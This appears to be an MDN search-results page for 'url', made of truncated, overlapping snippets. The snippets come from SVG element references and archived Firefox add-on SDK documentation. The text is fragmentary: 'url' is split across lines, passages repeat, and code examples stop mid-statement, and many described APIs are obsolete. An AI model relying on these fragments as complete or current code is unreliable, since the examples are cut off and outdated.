... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'numoctaves' in that specification. recommendation initial definition ...
r - SVG: Scalable Vector Graphics
with a value lower or equal to zero the circle won't be drawn at all. value <length> | <percentage> default valu...
...with a value lower or equal to zero the circle won't be drawn at all. value <length> | <percentage> default value 0 animatable yes note: starting with svg2, r is a geo...
...-color="white" /> <stop offset="100%" stop-color="black" /> </radialgradient> <circle cx="50" cy="50" r="0"/> <circle cx="150" cy="50" r="25"/> <circle cx="250" cy="50" r="50"/> <rect x="20" y="120" width="60" height="60" fill="
url(#mygradient000)" /> <rect x="120" y="120" width="60" height="60" fill="
url(#mygradient050)" /> <rect x="220" y="120" width="60" height="60" fill="
url(#mygradient100)" /> </svg> circle for <circle>, r defines the radius of the circle and therefor its size. with a value lower or equal to zero the circle won't be drawn at all. value <length> | <percentage> default value 0 animatable yes note: starting with svg2, r is a geometry property meaning this attribute can also be used as a css property for ...
Content type - SVG: Scalable Vector Graphics
is "lamppost" within file somedrawing.svg: http://example.com/somedrawing.svg#lamppost iris are used in the xlink:href attribute. some attributes allow both iris and text strings as content. to disambiguate a text string from a relative iri, the functional notation <funciri> is used. this is simply an iri delimited with a functional notation. note: for historical reasons, the delimiters are "
url(" and ")", for compatibility with the css specifications. the funciri form is used in presentation attributes . svg makes extensive use of iri references, both absolute and relative, to other objects. for example, to fill a rectangle with a linear gradient, you first define a <lineargradient> element and give it an id, as in: <lineargradient xml:id="mygradient">...</lineargradient> you the...
...nsive use of iri references, both absolute and relative, to other objects. for example, to fill a rectangle with a linear gradient, you first define a <lineargradient> element and give it an id, as in: <lineargradient xml:id="mygradient">...</lineargradient> you then reference the linear gradient as the value of the fill attribute for the rectangle, as in the following example: <rect fill="
url(#mygradient)"/> svg supports two types of iri references: local iri references, where the iri reference does not contain an <absoluteiri> or <relativeiri> and thus only contains a fragment identifier (i.e., #<elementid> or #xpointer(id<elementid>)). non-local iri references, where the iri reference does contain an <absoluteiri> or <relativeiri>. for the full specification of iri ref...
...: milliseconds s: seconds transform-list <transform-list> a <transform-list> is used to specify a list of coordinate system transformations. a detailed description of the possible values for a <transform-list> is given in the transform attribute definition. within the svg dom, a <transform-list> value is represented using an svgtransformlist or svganimatedtransformlist object.
url url a uniform resource locator. a
url is a sequence of unicode characters, building an address to an internal or external resource. before svg 2, the more limited iri content type was used instead, because the
url specification was not standardized before. ...
<feColorMatrix> - SVG: Scalable Vector Graphics
opacity="0.5" /> </g> </defs> <use href="#circles" /> <text x="70" y="50">reference</text> <!-- identity matrix --> <filter id="colormethesame"> <fecolormatrix in="sourcegraphic" type="matrix" values="1 0 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 0 1 0" /> </filter> <use href="#circles" transform="translate(0 70)" filter="
url(#colormethesame)" /> <text x="70" y="120">identity matrix</text> <!-- combine rgb into green matrix --> <filter id="colormegreen"> <fecolormatrix in="sourcegraphic" type="matrix" values="0 0 0 0 0 1 1 1 1 0 0 0 0 0 0 0 0 0 1 0" /> </filter> <use href="#circles" transform="translate(0 140)" filter="
url(#colormegreen)" /...
... 0 0 0 0 0 0 0 0 1 0" /> </filter> <use href="#circles" transform="translate(0 140)" filter="
url(#colormegreen)" /> <text x="70" y="190">rgbtogreen</text> <!-- saturate --> <filter id="colormesaturate"> <fecolormatrix in="sourcegraphic" type="saturate" values="0.2" /> </filter> <use href="#circles" transform="translate(0 210)" filter="
url(#colormesaturate)" /> <text x="70" y="260">saturate</text> <!-- huerotate --> <filter id="colormehuerotate"> <fecolormatrix in="sourcegraphic" type="huerotate" values="180" /> </filter> <use href="#circles" transform="translate(0 280)" filter="
url(#colormehuerotate)" /> <text x="70" y="330">huerotate</text> <!-- luminancetoalpha --> <filter id="colormelta"> ...
...cegraphic" type="huerotate" values="180" /> </filter> <use href="#circles" transform="translate(0 280)" filter="
url(#colormehuerotate)" /> <text x="70" y="330">huerotate</text> <!-- luminancetoalpha --> <filter id="colormelta"> <fecolormatrix in="sourcegraphic" type="luminancetoalpha" /> </filter> <use href="#circles" transform="translate(0 350)" filter="
url(#colormelta)" /> <text x="70" y="400">luminancetoalpha</text> </svg> result screenshotlive sample specifications specification status comment filter effects module level 1the definition of '<fecolormatrix>' in that specification. working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<fecolormatrix>' in that s...
<feDiffuseLighting> - SVG: Scalable Vector Graphics
22">fepointlight</text> <filter id="lightme1"> <fediffuselighting in="sourcegraphic" result="light" lighting-color="white"> <fepointlight x="150" y="60" z="20" /> </fediffuselighting> <fecomposite in="sourcegraphic" in2="light" operator="arithmetic" k1="1" k2="0" k3="0" k4="0"/> </filter> <circle cx="170" cy="80" r="50" fill="green" filter="
url(#lightme1)" /> <!-- the light source is a fedistantlight element --> <text text-anchor="middle" x="280" y="22">fedistantlight</text> <filter id="lightme2"> <fediffuselighting in="sourcegraphic" result="light" lighting-color="white"> <fedistantlight azimuth="240" elevation="20"/> </fediffuselighting> <fecomposite in="sourcegraphic" in2="light" ope...
...antlight</text> <filter id="lightme2"> <fediffuselighting in="sourcegraphic" result="light" lighting-color="white"> <fedistantlight azimuth="240" elevation="20"/> </fediffuselighting> <fecomposite in="sourcegraphic" in2="light" operator="arithmetic" k1="1" k2="0" k3="0" k4="0"/> </filter> <circle cx="280" cy="80" r="50" fill="green" filter="
url(#lightme2)" /> <!-- the light source is a fespotlight source --> <text text-anchor="middle" x="390" y="22">fespotlight</text> <filter id="lightme3"> <fediffuselighting in="sourcegraphic" result="light" lighting-color="white"> <fespotlight x="360" y="5" z="30" limitingconeangle="20" pointsatx="390" pointsaty="80" pointsatz="0"/> </fediffuselighting> ...
... working draft deprecated kernelunitlength attribute scalable vector graphics (svg) 1.1 (second edition)the definition of '<fediffuselighting>' in that spe...
<feDropShadow> - SVG: Scalable Vector Graphics
value type: <number>; default value: 2; animatable: yes dy this attribute defines the y offset of the drop shadow. value type: ...
... value type: <number>; default value: 2; animatable: yes dy this attribute defines the y offset of the drop shadow. value type: <number>; default value: 2; animatable: yes stddeviation this attribute defines t...
.../filter> <filter id="shadow3"> <fedropshadow dx="-0.8" dy="-0.8" stddeviation="0" flood-color="pink" flood-opacity="0.5"/> </filter> </defs> <circle cx="5" cy="50%" r="4" style="fill:pink; filter:
url(#shadow);"/> <circle cx="15" cy="50%" r="4" style="fill:pink; filter:
url(#shadow2);"/> <circle cx="25" cy="50%" r="4" style="fill:pink; filter:
url(#shadow3);"/> </svg> attributes dx this attribute defines the x offset of the drop shadow. value type: <number>; default value: 2; animatable: yes dy this attribute defines the y offset of the drop shadow. value type: <number>; default value: 2; animatable: yes stddeviation this attribute defines the standard deviation for the blur operation in the drop shadow. value type: <number>...
<feMorphology> - SVG: Scalable Vector Graphics
<filter id="erode"> <femorphology operator="erode" radius="1"/> </filter> <filter id="dilate"> <femorphology operator="dilate" radius="2"/> </filter> <text y="1em">normal text</text> <text id="thin" y="2em">thinned text</text> <text id="thick" y="3em">fattened text</text> </svg> css text { font-family: arial, helvetica, sans-serif; font-size: 3em; } #thin { filter:
url(#erode); } #thick { filter:
url(#dilate); } filtering html content svg <svg xmlns="http://www.w3.org/2000/svg" width="0" height="0"> <filter id="erode"> <femorphology operator="erode" radius="1"/> </filter> <filter id="dilate"> <femorphology operator="dilate" radius="2"/> </filter> </svg> <p>normal text</p> <p id="thin">thinned text</p> <p id="thick">fattened text</p> cs...
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<femorphology>' in that specification. recommendation initial definition ...
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<femorphology>' in that specification. recommendation initial definition ...
<marker> - SVG: Scalable Vector Graphics
value type: <length> ; default value: 3; animatable: yes marke...
... value type: <length> ; default value: 3; animatable: yes markerunits this attribute de...
... <circle cx="5" cy="5" r="5" fill="red" /> </marker> </defs> <!-- coordinate axes with a arrowhead in both direction --> <polyline points="10,10 10,90 90,90" fill="none" stroke="black" marker-start="
url(#arrow)" marker-end="
url(#arrow)" /> <!-- data line with polymarkers --> <polyline points="15,80 29,50 43,60 57,30 71,40 85,15" fill="none" stroke="grey" marker-start="
url(#dot)" marker-mid="
url(#dot)" marker-end="
url(#dot)" /> </svg> attributes markerheight this attribute defines the height of the marker viewport. value type: <length> ; default value: 3; animatable: yes markerunits this attribute defines the coordinate system for the attributes markerwidth, markerheight and the contents of the <marker>. value type: userspaceonuse|strokewidth ; default...
<solidcolor> - SVG: Scalable Vector Graphics
d-opacity="0.8"/> <!-- lineargradient with a single color stop is a less elegant way to achieve the same effect, but it works in current browsers. ...
...ss elegant way to achieve the same effect, but it works in current browsers. ...
...t="0" stop-color="green" /> </lineargradient> </defs> <text x="10" y="20">circles colored with solidcolor</text> <circle cx="150" cy="65" r="35" stroke-width="2" stroke="
url(#mycolor)" fill="white"/> <circle cx="50" cy="65" r="35" fill="
url(#mycolor)"/> <text x="10" y="120">circles colored with lineargradient</text> <circle cx="150" cy="165" r="35" stroke-width="2" stroke="
url(#mygradient)" fill="white"/> <circle cx="50" cy="165" r="35" fill="
url(#mygradient)"/> </svg> result ...
<use> - SVG: Scalable Vector Graphics
pplied to the use element. since the cloned nodes are not exposed, care must be taken when using css to style a use element and its cloned descendants. css properties are not guaranteed to be inherited by the cloned dom unless you explicitly request them using css inheritance. ...
... value type: <iri> ; default value: none; animatable: yes x the x coordinate of the use element. ...
...ntly no defined way to set a cross-origin policy for use elements. since svg 2, the xlink:href attribute is deprecated in favor of href. see xlink:href page for more information. however, xlink:href can still be required in practice for cross-browser compatibility (see the compatibility table below). attributes href the
url to an element/fragment that needs to be duplicated. value type: <
url> ; default value: none; animatable: yes xlink:href an <iri> reference to an element/fragment that needs to be duplicated. value type: <iri> ; default value: none; animatable: yes x the x coordinate of the use element. value type: <coordinate> ; default value: 0; animatable: yes y the y coordinate of the use element. value type: <coordinate> ; default value: 0; animatable: yes width th...
xml:base - XML: Extensible Markup Language
the base uri of an element is: the base uri specified by an xml:base attribute on the element, if one exists, otherwise the base uri of the element's parent element within the document entity or external entity, if one exists, otherwise the base uri of the document entity or external entity containing the element. support was removed from blink (chrome and opera) in 2015: chromium bug 341854 blink-dev mailing list post and from firefox 66 in bug 903372. ...
...e.g. <svg xml:base="https://foobar.s3-eu-west-1.amazonaws.com/uploads/15066845653629" width="909" height="1286" viewbox="0 0 909 1286"xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <style type="text/css"><![cdata[ .s9_999{ font-size: 9.17px; font-family: zapfdingb...
... work-arounds xml:base support in old browsers https://gist.github.com/leonderijke/c5cf7c5b2e424c0061d2 specifications specification status comment ...
Navigator.mozNotification - Archive of obsolete content
h are used to display desktop notification alerts to the user. currently, these are only supported on firefox mobile and firefox os. see displaying notifications for an example. the support for this property as been dropped in favor of the standard notification constructor. ...
...for an example. the support for this property as been dropped in favor of the standard notification constructor. method overview notification createnotification(in domstring title, in domstring description, in domstring icon
url optional); methods createnotification() creates and returns a notification object that can be used to display the specified message with an optional
url. notification createnotification( in domstring title, in domstring description, in domstring icon
urloptional ); parameters title the notification title. description the text to display in the notification. icon
url optional a
url identifying the image to display in the notification. return value a new notification object. permissions when using notifications in an open web ap...
port - Archive of obsolete content
essage, and the name of the listener function. for example, here's an add-on that creates a page-worker and a button. the page-worker loads http://en.wikipedia.org/wiki/chalk alongside a content script. the button sends the content script a message called "get-first-para" when it is clicked: // main.js pageworker = require("sdk/page-worker").page({ contentscriptfile: require("sdk/self").data.
url("listener.js"), content
url: "http://en.wikipedia.org/wiki/chalk" }); require("sdk/ui/button/action").actionbutton({ id: "get-first-para", label: "get-first-para", icon: "./icon-16.png", onclick: function() { console.log("sending 'get-first-para'"); pageworker.port.emit("get-first-para"); } }); the content script listens for "get-first-para". when it receives this message, th...
...e themselves json-serializable. this means you can't send functions, and if the object contains methods they won't be encoded. you also can't include circular references. ...
simple-storage - Archive of obsolete content
ource://gre/modules/commonjs/sdk/simple-storage.js'].exports.storage clarification from mozilla needed: writing the above line in add-on debugger console results in "referenceerror: loader is not defined". constructing arrays be careful to construct array objects conditionally in your code, or you may zero them each time the construction code runs. ...
...renceerror: loader is not defined". constructing arrays be careful to construct array objects conditionally in your code, or you may zero them each time the construction code runs. for example, this add-on tries to store the
urls of pages the user visits: var ss = require("sdk/simple-storage"); ss.storage.pages = []; require("sdk/tabs").on("ready", function(tab) { ss.storage.pages.push(tab.
url); }); require("sdk/ui/button/action").actionbutton({ id: "read", label: "read", icon: "./read.png", onclick: function() { console.log(ss.storage.pages); } }); but this isn't going to work, because it empties the array each time the add-on runs (for example, each time firefox is started). line 2 needs to be made conditional, so the array is only constructed if it does not already e...
High-Level APIs - Archive of obsolete content
ext-menu adds items, submenus, and menu separators to the page's context menu. hotkeys assign hotkey combinations to functions in your add-on. indexed-db exposes the indexeddb api to add-ons. l10n localize strings appearing in the add-on's javascript code. notifications display transient, toaster-style desktop messages to the user. page-mod run scripts in the context of web pages whose
url matches a given pattern. page-worker create a permanent, invisible page and access its dom. panel creates transient dialogs to implement part of an add-on's user interface. passwords interact with firefox's password manager to add, retrieve and remove stored credentials. private-browsing check whether a given object is private, so an add-on can respect private browsing querystrin...
...simple-prefs store preferences across application restarts. simple-storage lets an add-on store data so that it's retained across firefox restarts. system query the add-on's environment and access arguments passed to it. tabs open, manipulate, and access tabs, and receive tab events. timers set one-off and periodic timers. ui provides access to button, toolbar, and sidebar ui objects.
url construct, validate, and parse
urls. widget create a simple user interface for an add-on in firefox's add-on bar. windows enumerate and examine open browser windows, open new windows, and listen for window events. ...
content/worker - Archive of obsolete content
can block the ui. globals constructors worker(options) creates a content worker. parameters options : object required options: name type window object the content window to create javascript sandbox for communication with. optional options: name type contentscriptfile string,array the local file
urls of content scripts to load. content scripts specified by this option are loaded before those specified by the contentscript option. optional. contentscript string,array the texts of content scripts to load. content scripts specified by this option are loaded after those specified by the contentscriptfile option. optional. onmessage function functio...
...string,json the data to send. must be stringifiable to json. destroy() destroy the worker by removing the content script from the page and removing all registered listeners. a detach event is fired just before removal. properties port object that allows you to: send customized messages to the worker using the port.emit function receive events from the worker using the port.on function
url the
url of the content. tab if this worker is attached to a content document, returns the related tab. events message this event allows the content worker to receive messages from its associated content scripts. calling the self.postmessage() function from a content script will asynchronously emit the message event on the corresponding worker. arguments value : the event listener is passe...
tabs/utils - Archive of obsolete content
ndow optional. returns array : an array of tab elements. getactivetab(window) given a browser window, get the active, or selected, tab. parameters window : window a browser window. returns tab : the currently selected tab. getownerwindow(tab) get the browser window that owns the specified tab. parameters tab : tab a browser tab. returns window : a browser window. opentab(window,
url, options) open a new tab in the specified browser window. parameters window : window the browser window in which to open the tab.
url : string
url for the document to load. options : object optional options: name type inbackground boolean if true, open the new tab, but keep the currently selected tab selected. if false, make the new tab the select...
...ttabcontentwindow(tab) get the specified tab's content window. parameters tab : tab a xul tab element. returns window : getalltabcontentwindows() get all tabs' content windows across all the browsers' windows. returns array : array of windows. gettabforcontentwindow(window) get the tab element that hosts the specified content window. parameters window : window returns tab : gettab
url(tab) get the specified tab's
url. parameters tab : tab a xul tab element. returns string : the current uri. settab
url(tab,
url) set the specified tab's
url. parameters tab : tab a xul tab element.
url : string gettabcontenttype(tab) get the contenttype of the document hosted by the specified tab. parameters tab : tab a xul tab element. returns string : getselectedtab(window) ...
Low-Level APIs - Archive of obsolete content
te-streams provides streams for reading and writing bytes. io/file provides access to the local filesystem. io/text-streams provides streams for reading and writing text. lang/functional functional helper methods. lang/type functions for working with type detection. loader/cuddlefish the sdk's module loader. loader/sandbox create javascript sandboxes and execute scripts in them. net/
url enables you to read content from a uri. net/xhr provides access to xmlhttprequest functionality. places/bookmarks create, modify, and retrieve bookmarks. places/favicon helper functions for working with favicons. places/history access the user's browsing history. platform/xpcom implement xpcom objects, factories, and services. preferences/event-target listen to changes to the...
...i/id create ui component ids. ui/sidebar enables you to create sidebars. ui/toolbar add a toolbar to the firefox user interface. util/array helper functions for working with arrays. util/collection a simple list-like class and utilities for using it. util/deprecate functions to deprecate code. util/list building blocks for composing lists. util/match-pattern test strings containing
urls against simple patterns. util/object functions for working with objects. util/uuid generate or parse uuids. window/utils functions for working with browser windows. ...
Implementing the widget - Archive of obsolete content
ectory. ...
...ain.js now in the lib directory open main.js and add the following code: var widgets = require('sdk/widget'); var data = require('sdk/self').data; var annotatorison = false; function toggleactivation() { annotatorison = !annotatorison; return annotatorison; } exports.main = function() { var widget = widgets.widget({ id: 'toggle-switch', label: 'annotator', content
url: data.
url('widget/pencil-off.png'), contentscriptwhen: 'ready', contentscriptfile: data.
url('widget/widget.js') }); widget.port.on('left-click', function() { console.log('activate/deactivate'); widget.content
url = toggleactivation() ? data.
url('widget/pencil-on.png') : data.
url('widget/pencil-off.png'); }); widget.port.on('right-click', function() { ...
Developing for Firefox Mobile - Archive of obsolete content
ed passwords supported private-browsing not supported querystring supported request supported selection not supported self supported simple-prefs supported simple-storage supported system supported tabs supported timers supported ui not supported
url supported widget not supported windows supported low-level apis /loader supported chrome supported console/plain-text supported console/traceback supported content/content supported content/loader supported content/mod supported content/worker supported core/...
...event/core supported event/target supported frame/hidden-frame supported frame/utils supported io/byte-streams supported io/file supported io/text-streams supported lang/functional supported lang/type supported loader/cuddlefish supported loader/sandbox supported net/
url supported net/xhr supported places/bookmarks not supported places/favicon not supported places/history not supported platform/xpcom supported preferences/service supported stylesheet/style supported stylesheet/utils supported system/environment supported system/events support...
Open a Web Page - Archive of obsolete content
b page, you can use the tabs module: var tabs = require("sdk/tabs"); tabs.open("http://www.example.com"); this function is asynchronous, so you don't immediately get back a tab object which you can examine. to do this, pass a callback function into open(). ...
... to learn more about running scripts in tabs, see the tutorial on using tab.attach(). ...
Localization - Archive of obsolete content
any previously existing content is just replaced. the string is inserted as text, so you can't...
...any previously existing content is just replaced. the string is inserted as text, so you can't insert html using a statement...
Drag & Drop - Archive of obsolete content
, elem could be a window or an xul element. ...
...terfaces.nsiioservice); var uris = new array(); // if sourcenode is not null, then the drop was from inside the application if (dragsession.sourcenode) return; // setup a transfer item to retrieve the file data var trans = components.classes["@mozilla.org/widget/transferable;1"].createinstance(components.interfaces.nsitransferable); trans.adddataflavor("text/x-moz-
url"); trans.adddataflavor("application/x-moz-file"); for (var i=0; i<dragsession.numdropitems; i++) { var uri = null; dragsession.getdata(trans, i); var flavor = {}, data = {}, length = {}; trans.getanytransferdata(flavor, data, length); if (data) { try { var str = data.value.queryinterface(components.interfaces.nsisupportsstring); } ...
View Source for XUL Applications - Archive of obsolete content
ing directly is the viewsource method. the rest of those methods should be considered private, and might become inaccessible in the future. void viewsource(aobject); methods viewsource opens a viewer to the source code for some document or uri. parameters the viewsource method takes an object as its first and only parameter. the object can include the following properties:
url (required) a string
url for the document to view the source of. browser (optional) the browser containing the document that we would like to view the source of. this is optional if outerwindowid is not passed. outerwindowid (optional) the outerwindowid of the content window containing the document that we want to view the source of. pass this if you want to attempt to load the document sourc...
...document that we want to view the source of. pass this if you want to attempt to load the document source out of the network cache. linenumber (optional) the line number to focus on once the source has loaded. deprecated api this api is likely to go away in the future, and should no longer be used. the viewsource method will also accept the following arguments in place of the object: a
url a string
url for the document to view the source of. apagedescriptor (optional) a "descriptor" that allows the source to be retrieved from the network cache. this is usually gotten from the nsiwebpagedescriptor interface via currentdescriptor. adocument (optional) the content document that we're attempting to load the source from. alinenumber (optional) the line number to focus on once the...
xml:base support in old browsers - Archive of obsolete content
tch(/\/$/)) { xmlbase = xmlbase.substring(0, xmlbase.length-2); // strip off last slash to join with xlink path with slash } // alert(xmlbase + '::' + xlink); } var link = xmlbase + xlink; if (!link.match(scheme)) { // if there is no domain, we'll need to use the current domain var loc = window.location; if (link.indexof('/') === 0 ) { // if link is an absolute
url, it should be from the host only link = loc.protocol + '//' + loc.host + link; } else { // if link is relative, it should be from full path, minus the file var dirpath = loc.pathname.substring(0, loc.pathname.lastindexof('/')-1); if (link.lastindexof('/') !== link.length-1) { link += '/'; } link = loc.protocol + '//' + loc.host + dirpath + link; } } return link; } func...
... // var ns = 'http://www.w3.org/xml/1998/namespace'; var att, protocolpos; var xmlbase = ''; var abs = false; // avoid loop if node is not present if (!thisitem || !thisitem.nodename) { return xmlbase; } // check present element and higher up for xml:base // now check for the next matching local name up in the hierarchy (until the document root) while (thisitem.nodename !== '#docu...
Creating custom Firefox extensions with the Mozilla build system - Archive of obsolete content
use the dist_files variable in the makefile to tell make to copy the file into the extension directory and (optional) xpi file. public interfaces the public/ directory contains any interfaces that need to be accessed by other modules. th...
...use the dist_files variable in the makefile to tell make to copy the file into the extension directory and (optional) xpi file. public interfaces the public/ directory contains any interfaces that need to be accessed by other modules. these can be idl files describing xpcom interfac...
Inline options - Archive of obsolete content
oot folder (alongside install.rdf). this method does not require you to create a chrome.manifest and set it's path. this method does not require you to specify optionstype in install.rdf. method 2 use install.rdf to identify the xul file used for displaying the options. this requires that you register a content path in the chrome.manifest. ...
...rome.manifest and set it's path. this method does not require you to specify optionstype in install.rdf. method 2 use install.rdf to identify the xul file used for displaying the options. this requires that you register a content path in the chrome.manifest. ...
Appendix F: Monitoring DOM changes - Archive of obsolete content
er browsers will need to provide fallbacks. for more information, see this blog post on the issues at hand. non-mutation triggers it is usually possible to tell when a mutation has occurred or is about to occur without resorting to mutation events or observers. most of these methods are specific to a particular site or codebase. hashchange and popstate events most ajax-heavy sites update the
url when they significantly change their content, either via a change to the fragment identifier (hash) or more recently via the history.pushstate method. the former triggers a hashchange event while the latter triggers a popstate event. event listeners for those events are the preferred method for detecting dom modifications when feasible. often times, this must be used in combination with a slight...
...hange to the fragment identifier (hash) or more recently via the history.pushstate method. the former triggers a hashchange event while the latter triggers a popstate event. event listeners for those events are the preferred method for detecting dom modifications when feasible. often times, this must be used in combination with a slight delay, or even polling, via settimeout, for cases where the
url change happens before the page is fully loaded. this method works particularly well with services like google instant, and the gawker family of sites. network listeners ajax-based page changes are almost universally tied to xmlhttprequests. these requests can be tracked from chrome code using a variety of methods, including web progress listeners, http observers, and content policies. while th...
Setting up an extension development environment - Archive of obsolete content
directory under your profile directory with the extension's id as the file name (for example "your_profile_directory/extensions/{46d1b3c0-db7a-4b1a-863a-6ee6f77ecb58}"). (how to find your profile directory) alternatively, rather than using a guid, create a unique id using the format "name@yourdomain" (for example chromebug@mydomain.com) - then the proxy filename will be same as that id, with no c
urly brackets {}. the contents of this file should be the path to the directory that contains your install.rdf file, for example /full/path/to/yourextension/ on mac and linux, and c:\full\path\to\yourextension\ on windows. remember to include the closing slash and remove any trailing whitespace. note: if you already installed the extension via xpi, you should uninstall it first before crea...
... /full/path/to/yourextension/ on mac and linux, and c:\full\path\to\yourextension\ on windows. remember to include the closing slash and remove any trailing whitespace. note: if you already installed the extension via xpi, you should uninstall it first before creating the pointer file. also note that the use of proxy files requires that the extension's chrome.manifest defines its chrome
urls using traditional directories, rather than a jared structure. see below. place the file in the extensions folder of your profile and restart the application. using directories rather than jars regardless of whether you choose to eventually package your extension's chrome in a jar or in directories, developing in directories is simpler. if you choose a jared structure for releasing, you ...
Updating addons broken by private browsing changes - Archive of obsolete content
following interfaces: ff 15: nsidomstoragemanager ff 16: nsitransferable ff 18: imgicache moziasyncfavicons nsifaviconservice nsiwebbrowserpersist ff 19: nsicontentprefservice nsidownloadmanager nsidownload nsihttpauthmanager nsistricttransportsecurityservice ff 20: nsiprivatebrowsingservice nsirecentbadcertservice furthermore, if your code uses any of these common chrome apis: ff 19: save
url saveinternal openlinkin ff 20: openbrowserwindow gprivatebrowsingui finally, if your code watches for any of these observer notifications: private-browsing private-browsing-cancel-vote private-browsing-change-granted private-browsing-transition-complete then your addon will require updating to correctly support the new per-window private browser feature in firefox 20 (and will require u...
...or to the optional boolean and string arguments) indicating the document that originated the save action. gprivatebrowsingui: can no longer be used to control private browsing of any kind. any new private browsing session should be opened using openbrowserwindow, and any queries for private browsing status should use privatebrowsingutils.iswindowprivate(win) on a relevant window object. save
url: takes a new required document argument indicating the source of the
url being saved. ...
Creating a status bar extension - Archive of obsolete content
ns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <em:id>status-bar-sample-1@example.com</em:id> <em:version>1.0</em:version> <em:type>2</em:type> <!-- front end metadata --> <em:name>status bar sample 1</em:name> <em:description>sample static status bar panel</em:description> <em:creator>my name</em:creator> <em:homepage
url>http://developer.mozilla.org/en/docs/creating_a_status_bar_extension</em:homepage
url> <!-- describe the firefox versions we support --> <em:targetapplication> <description> <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id> <em:minversion>1.5</em:minversion> <em:maxversion>2.0.0.*</em:maxversion> </description> </em:targetapplication> </description> </...
...information that is displayed to the user within the firefox interface. these are: property name description em:name the extension's name. this name is displayed in the extensions window. em:description a short, one-line description of the extension. this text is also displayed in the extensions window. em:creator the author's name. homepage
url the
url of a web site the user can visit to get information about the extension, or to look for updates. this is not a required field, but including it is a nice thing to do. target application information it's also necessary to include information that identifies the application or applications in which your extension is designed to run. although this sample extension only works in fire...
No Proxy For configuration - Archive of obsolete content
at writing a pac file is more suitable for their needs. testing contributors can test this feature, even without a proxy server, using a "negative proxy server test". proxy connections that fail return an error "the proxy server you have configured cannot be found", so configure your browser to use a non-existent http proxy (hostname: "imaginary", port "80"). test each destination in an http:
url. all proxied
urls will return errors, all non-proxied connections will be attempted normally (direct connection). hostnames filter test destination result basic filtering unit tests (local host) localhost localhost direct localhost. localhost proxy 127.0.0.1 local host direct confirm the filter uses only suffix ...
...as not been tested in mozilla, so porting pac in c++ forward would not be a panacea. the relevant code lives in nsprotocolproxyservice.cpp. nsprotocolproxyservice::prefschanged - loads preferences nsprotocolproxyservice::loadfilters - parses filters nsprotocolproxyservice::examineforproxy - decides to check filters if configuration is "manual" nsprotocolproxyservice::canuseproxy - performs
url vs. filter comparison notable bugs bug 172083 - [meta] proxy: "no proxy for" items bug 80917 - proxy: "no proxy" w/ form based ui bug 91587 - proxy: "no proxy for" default domain filtering fails w/ non-fqdn (e.g., http://web/) bug 201685 - no proxy for: support ipv6 address literals bug 136789 - proxy: no proxy ip entries do not block dns resolved ips bug 314712 - no proxy for: "hostnam...
Finding the file to modify - Archive of obsolete content
and xul windows. to access it, go to the "tools" menu, select the "web development" submenu, then select the "dom inspector" item. the dom inspector will load in a new window. in the dom inspector window, go to the file menu, select the inspect a window submenu, then select the mozilla browser window item (named after the page currently loaded in the browser). ...
...or" item. the dom inspector will load in a new window. in the dom inspector window, go to the file menu, select the inspect a window submenu, then select the mozilla browser window item (named after the page currently loaded in the browser). the dom inspector will display the
url of the xul file that defines the mozilla browser window, which is chrome://navigator/content/navigator.xul. a chrome
url is a
url used internally by mozilla to refer to files in the chrome subdirectory of the mozilla installation directory. chrome
urls have paths that do not necessarily refer to a precise directory hierarchy. in this case the chrome
url refers to the file located at mozilla-installation-directory/chrome/content/navigator/navigator.xul. [explain further, http://www.mozilla.org/xpfe/configchromespec.
Making a Mozilla installation modifiable - Archive of obsolete content
xtracted files instead of the original jar archives. the chrome registry is a file that lists each major mozilla component and where in the chrome directory its ui files are located. it is located in the chrome directory itself and is called either chrome.rdf or installed-chrome.txt (or both). the registry contains a bunch of complicated configuration statements in which you will find a number of
urls of the form jar:resource:/chrome/something.jar!/something-else... which point to directories within the jar archives. change them so they point to the extracted files by removing the leading jar: and the part in the middle that says something.jar!. if you have perl on your system, you can do this with the following command: perl -pi.orig -e 's/(jar:)|(\/[^.\/]+\.jar!)//g' chrome.rdf installed-ch...
...ething.jar!/something-else... which point to directories within the jar archives. change them so they point to the extracted files by removing the leading jar: and the part in the middle that says something.jar!. if you have perl on your system, you can do this with the following command: perl -pi.orig -e 's/(jar:)|(\/[^.\/]+\.jar!)//g' chrome.rdf installed-chrome.txt for example, to convert the
url jar:resource:/chrome/comm.jar!/content/necko/, change it to resource:/chrome/content/necko/. after you make these changes, try starting the copy of mozilla you have modified. make sure you start the modified copy and not the default installation on your machine, and shut down "quick launch" if you are on windows and that feature is enabled. if mozilla starts up and displays a normal-looking web b...
In-Depth - Archive of obsolete content
hat is used in mozilla and adds an image to the one side of it. if you look at the modern skin, you'll notice that it adds the image to the other side of the toolbar. now that we have the code that will change the toolbar, it needs to be accessed. open up \classic\skin\classic\communicator\communicator.css and look for the .toolbar-primary section. there is a -moz-binding command there. point the
url to the new location. change: -moz-binding:
url("chrome://global/content/bindings/toolbar.xml#toolbar-primary"); to -moz-binding:
url("chrome://communicator/skin/toolbar/toolbarbindings.xml#toolbar-primary"); now every toolbar has a spot for an image on the right hand side and we can start adding images, but first we need to make sure we can see the images that we add. also in the communicator.c...
...and puts the two together. inside of the xml file there is an image which has its class set to toolbar-primary-icon. note: in versions of firefox prior to firefox 3 beta 3, the navigation toolbar's id is "nav-bar". put these 3 together and you get: #navigation-toolbar > .toolbar-holder > .toolbar-primary-icon inside this section of the css is where you add an image. set the background-image to a
url of your choosing, such as
url("chrome://navigator/skin/icons/dino.png");. when it's all done you should have something that looks like this: #navigation-toolbar > .toolbar-holder > .toolbar-primary-icon { background-image:
url("chrome://navigator/skin/icons/dino.png"); } put the image in that directory, fire up mozilla, and take a look at your creation. if the navigation toolbar dissapears or...
Drag and Drop JavaScript Wrapper - Archive of obsolete content
nclude this file in your xul file with the script tag in the same way you would include your own scripts. the library also depends on another script library, which you should also include, usually at the top of your xul file. you can look at the contents of these files to see how drag and drop is done at a lower level. note that you can only use these libraries from within xul loaded via a chrome
url. <script src="chrome://global/content/nsdraganddrop.js" /> <script src="chrome://global/content/nstransferable.js" /> this drag and drop library creates an object stored in the variable nsdraganddrop. the object contains a series of functions, one for each event handler (except for dragenter where it has nothing special to do). each of the functions takes two parameters, the first is the event o...
